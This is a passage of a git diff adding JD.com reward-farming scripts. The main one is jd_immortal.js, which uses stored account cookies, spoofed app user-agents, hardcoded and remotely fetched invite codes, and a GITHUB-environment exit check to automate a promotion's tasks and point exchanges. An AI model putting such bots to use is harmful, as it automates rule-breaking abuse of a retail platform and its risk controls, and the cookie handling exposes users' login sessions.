if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_immortal.js b/activity/jd_immortal.js new file mode 100644 index 0000000..0449ea2 --- /dev/null +++ b/activity/jd_immortal.js @@ -0,0 +1,556 @@ +/* +京东神仙书院 +活动时间:2021-1-20至2021-2-5 +增加自动积分兑换京豆(条件默认为:至少700积分,1.4倍率) +暂不加入品牌会员,需要自行填写坐标,用于做逛身边好店任务 +环境变量:JD_IMMORTAL_LATLON(经纬度) +示例:JD_IMMORTAL_LATLON={"lat":33.1, "lng":118.1} +boxjs IMMORTAL_LATLON +活动入口:京东APP我的-神仙书院 +地址:https://h5.m.jd.com//babelDiy//Zeus//4XjemYYyPScjmGyjej78M6nsjZvj//index.html?babelChannel=ttt9 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京东神仙书院 +20 8,12,22 * * * jd_immortal.js, tag=京东神仙书院, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +================Loon============== +[Script] +cron "20 8,12,22 * * *" script-path=jd_immortal.js, tag=京东神仙书院 + +===============Surge================= +京东神仙书院 = type=cron,cronexp="20 8,12,22 * * *",wake-system=1,timeout=3600,script-path=jd_immortal.js + +============小火箭========= +京东神仙书院 = type=cron,script-path=jd_immortal.js, cronexpr="20 8,12,22 * * *", timeout=3600, enable=true + */ +const $ = new Env('京东神仙书院'); + +const notify = $.isNode() ? require('../sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('../jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +const randomCount = $.isNode() ? 20 : 5; +let scoreToBeans = $.isNode()?(process.env.JD_IMMORTAL_SCORE || 0):$.getdata('scoreToBeans') || 0; //兑换多少数量的京豆(20或者1000),0表示不兑换,默认兑换20京豆,如需兑换把0改成20或者1000,或者'商品名称'(商品名称放到单引号内)即可 + +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +const inviteCodes = [ + `39xIs4YwE5Z7CPQQ0baz9jNWO6PSZHsNWqfOwWyqScbJBGhg4v7HbuBg63TJ4@27xIs4YwE5Z7FGzJqrMmavC_vWKtbEaJxbz0Vahw@43xIs4YwE5Z7DsWOzDSP_N6WTDnbA0wBjjof6cA9FzcbHMcZB9wE1R3ToSluCgxAzEXQ@43xIs4YwE5Z7DsWOzDSEuRWEOROpnDjMx_VvSs5ikYQ8XgcZB9whEHjDmPKQoL16TZ8w@50xIs4YwE5Z7FTId9W-KibDgxxx6AEa7189V1zSxSf2HP6681IXPQ81aJEP77WoHXLcK7QzlxGqsGqfU@43xIs4YwE5Z7DsWOzDSPKFWdkRe2Ae6h0jAdlhuSmuwcfUcZB9wBcHhj0_zyZDNK4Rhg`, + `39xIs4YwE5Z7CPQQ0baz9jNWO6PSZHsNWqfOwWyqScbJBGhg4v7HbuBg63TJ4@27xIs4YwE5Z7FGzJqrMmavC_vWKtbEaJxbz0Vahw@43xIs4YwE5Z7DsWOzDSP_N6WTDnbA0wBjjof6cA9FzcbHMcZB9wE1R3ToSluCgxAzEXQ@43xIs4YwE5Z7DsWOzDSEuRWEOROpnDjMx_VvSs5ikYQ8XgcZB9whEHjDmPKQoL16TZ8w@43xIs4YwE5Z7DsWOzDSFehRRs_UaNcqkiU7BrrzDTKHScMcZB9wkYC2z6K-QOsQy1S3A@43xIs4YwE5Z7DsWOzDSFcl8RjNxfrQquzeGQQtkQOUbyqscZB9wkxX2jw2HhM7TczeqA` +]; +!(async () => { + await requireConfig(); + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + console.log(`您设置的兑换积分下限为${scoreToBeans}`) + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await shareCodesFormat(); + await jdNian() + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jdNian() { + try { + $.risk = false + await getHomeData() + if ($.risk) return + await getTaskList($.cor) + await $.wait(2000) + await helpFriends() + await $.wait(2000) + await getHomeData(true) + await showMsg() + } catch (e) { + $.logErr(e) + } +} + +function showMsg() { + return new Promise(resolve => { + message += `本次运行获得${$.earn}金币,当前${$.coin}金币` + if (!jdNotify) { + $.msg($.name, '', `${message}`); + } else { + $.log(`京东账号${$.index}${$.nickName}\n${message}`); + } + resolve() + }) +} + +async function helpFriends() { + for (let code of $.newShareCodes) { + if (!code) continue + await doTask(code) + await $.wait(2000) + } +} + +function doTask(itemToken) { + return new Promise((resolve) => { + $.post(taskPostUrl('mcxhd_brandcity_doTask', {itemToken: itemToken}, 'mcxhd_brandcity_doTask'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data && data['retCode'] === "200") { + if (data.result.score) + console.log(`任务完成成功,获得${data.result.score}金币`) + else if (data.result.taskToken) + console.log(`任务请求成功,等待${$.duration}秒`) + else { + console.log(`任务请求结果未知`) + } + } else { + console.log(data.retMessage) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +function doTask2(taskToken) { + let body = { + "dataSource": "newshortAward", + "method": "getTaskAward", + "reqParams": `{\"taskToken\":\"${taskToken}\"}` + } + return new Promise(resolve => { + $.post(taskPostUrl2("qryViewkitCallbackResult", body,), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === "0") { + console.log(data.toast.subTitle) + } else { + console.log(`任务完成失败,错误信息:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getHomeData(info = false) { + return new Promise((resolve) => { + $.post(taskPostUrl('mcxhd_brandcity_homePage'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data && data['retCode'] === "200") { + const {userCoinNum, userRemainScore} = data.result + if (info) { + $.earn = userCoinNum - $.coin + } else { + console.log(`当前用户金币${userCoinNum},积分${userRemainScore}`) + if (userRemainScore) { + await getExchangeInfo() + } + } + $.coin = userCoinNum + } else { + $.risk = true + console.log(`账号被风控,无法参与活动`) + message += `账号被风控,无法参与活动\n` + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +function getExchangeInfo() { + return new Promise((resolve) => { + $.post(taskPostUrl('mcxhd_brandcity_exchangePage'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data && data['retCode'] === "200") { + const {userRemainScore, exchageRate} = data.result + console.log(`当前用户兑换比率${exchageRate}`) + if (userRemainScore >= scoreToBeans) { + console.log(`已达到最大比率,去兑换`) + await exchange() + } + } else { + $.risk = true + console.log(`账号被风控,无法参与活动`) + message += `账号被风控,无法参与活动\n` + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +function exchange() { + return new Promise((resolve) => { + $.post(taskPostUrl('mcxhd_brandcity_exchange'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data && data['retCode'] === "200") { + const {consumedUserScore, receivedJbeanNum} = data.result + console.log(`兑换成功,消耗${consumedUserScore}积分,获得${receivedJbeanNum}京豆`) + $.msg($.name, ``, `京东账号${$.index} ${$.nickName}\n兑换成功,消耗${consumedUserScore}积分,获得${receivedJbeanNum}京豆`); + if ($.isNode()) await notify.sendNotify(`${$.name} - ${$.index} - ${$.nickName}`, `兑换成功,消耗${consumedUserScore}积分,获得${receivedJbeanNum}京豆`); + } else if (data['retCode'] === "323") { + console.log(`还木有到兑换时间哦~ `) + message += `还木有到兑换时间哦~ \n` + } else { + $.risk = true + console.log(`账号被风控,无法参与活动`) + message += `账号被风控,无法参与活动\n` + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +function getTaskList(body = {}) { + + return new Promise(resolve => { + $.post(taskPostUrl("mcxhd_brandcity_taskList", body, "mcxhd_brandcity_taskList"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + $.tasks = [] + if (data.retCode === '200') { + $.tasks = data.result.tasks + for (let vo of $.tasks) { + if (vo.taskType === "13" || vo.taskType === "2" || vo.taskType === "5" || vo.taskType === "3") { + // 签到,逛一逛 + for (let i = vo.times, j = 0; i < vo.maxTimes && j < vo.subItem.length; ++i, ++j) { + console.log(`去做${vo.taskName}任务,${i + 1}/${vo.maxTimes}`) + let item = vo['subItem'][j] + await doTask(item['itemToken']) + await $.wait((vo.waitDuration ? vo.waitDuration : 5 + 1) * 1000) + } + } else if (vo.taskType === "7" || vo.taskType === "9") { + // 浏览店铺,会场 + for (let i = vo.times, j = 0; i < vo.maxTimes; ++i, ++j) { + console.log(`去做${vo.taskName}任务,${i + 1}/${vo.maxTimes}`) + let item = vo['subItem'][j] + $.duration = vo.waitDuration + 1 + await doTask(item['itemToken']) + await $.wait((vo.waitDuration + 1) * 1000) + await doTask2(item['taskToken']) + } + } else if (vo.taskType === "6") { + // 邀请好友 + if (vo.subItem.length) { + console.log(`您的好友助力码为${vo.subItem[0].itemToken}`) + } else { + console.log(`无法查询您的好友助力码`) + } + } + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function readShareCode() { + console.log(`开始`) + return new Promise(async resolve => { + $.get({ + url: `http://jd.turinglabs.net/api/v2/jd/immortal/read/${randomCount}/`, + 'timeout': 10000 + }, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log(`随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`) + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(2000); + resolve() + }) +} + +//格式化助力码 +function shareCodesFormat() { + return new Promise(async resolve => { + // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) + $.newShareCodes = []; + if ($.shareCodesArr[$.index - 1]) { + $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); + } else { + console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) + const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); + $.newShareCodes = inviteCodes[tempIndex].split('@'); + } + const readShareCodeRes = await readShareCode(); + if (readShareCodeRes && readShareCodeRes.code === 200) { + $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; + } + console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) + resolve(); + }) +} + +function requireConfig() { + return new Promise(async resolve => { + console.log(`开始获取${$.name}配置文件\n`); + //Node.js用户请在jdCookie.js处填写京东ck; + let shareCodes = [] + console.log(`共${cookiesArr.length}个京东账号\n`); + if ($.isNode() && process.env.JDSXSY_SHARECODES) { + if (process.env.JDSXSY_SHARECODES.indexOf('\n') > -1) { + shareCodes = process.env.JDSXSY_SHARECODES.split('\n'); + } else { + shareCodes = process.env.JDSXSY_SHARECODES.split('&'); + } + } + $.shareCodesArr = []; + if ($.isNode()) { + Object.keys(shareCodes).forEach((item) => { + if (shareCodes[item]) { + $.shareCodesArr.push(shareCodes[item]) + } + }) + $.cor = process.env.JD_IMMORTAL_LATLON ? JSON.parse(process.env.JD_IMMORTAL_LATLON) : (await getLatLng()) + } else { + $.cor = $.getdata("IMMORTAL_LATLON") ? JSON.parse($.getdata("IMMORTAL_LATLON")) : {} + } + console.log(`您提供的地理位置信息为${JSON.stringify($.cor)}`) + console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); + resolve() + }) +} + +// 自动获取经纬度 +function getLatLng() { + return new Promise(resolve => { + try { + console.log('开始自动获取经纬度 lat lng ……'); + $.get({ + url: 'https://jingweidu.bmcx.com/web_system/bmcx_com_www/system/file/jingweidu/api/?v=20031911', + headers: { + "referer": "https://jingweidu.bmcx.com/", + 'Content-Type': 'text/html; charset=utf-8', + "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36" + } + }, async (err, resp, data) => { + const res = data.match(/qq\.maps\.LatLng\(([\d\.]+), ([\d\.]+)\)/); + let lat = res[1]; + let lng = res[2]; + if (lat > 0 && lng > 0) { + resolve({ + 'lng': lng, + 'lat': lat + }); + return; + } + console.log('自动获取经纬度 lat lng 失败,返回经纬度结果错误'); + resolve({}); + }); + } catch (e) { + console.log('自动获取经纬度 lat lng 失败,触发异常'); + resolve({}); + } + }); +} + +function taskPostUrl(function_id, body = {}, function_id2) { + let url = `${JD_API_HOST}`; + if (function_id2) { + url += `?functionId=${function_id2}`; + } + body = {...body, "token": 'jd17919499fb7031e5'} + return { + url, + body: `functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0&appid=publicUseApi`, + headers: { + "Cookie": cookie, + "origin": "https://h5.m.jd.com", + "referer": "https://h5.m.jd.com/", + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('../USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } +} + +function taskPostUrl2(function_id, body = {}, function_id2) { + let url = `${JD_API_HOST}`; + if (function_id2) { + url += `?functionId=${function_id2}`; + } + return { + url, + body: `functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0`, + headers: { + "Cookie": cookie, + "origin": "https://h5.m.jd.com", + "referer": "https://h5.m.jd.com/", + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('../USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('../USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_immortal_answer.js b/activity/jd_immortal_answer.js new file mode 100644 index 0000000..667f47e --- /dev/null +++ b/activity/jd_immortal_answer.js @@ -0,0 +1,476 @@ +/* +京东神仙书院答题 +根据bing搜索结果答题,常识题可对,商品题不能保证胜率 +活动时间:2021-1-27至2021-2-5 +活动入口: 京东APP我的-神仙书院 +活动地址:https://h5.m.jd.com//babelDiy//Zeus//4XjemYYyPScjmGyjej78M6nsjZvj//index.html?babelChannel=ttt9 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京东神仙书院答题 +20 * * * * jd_immortal_answer.js, tag=京东神仙书院答题, 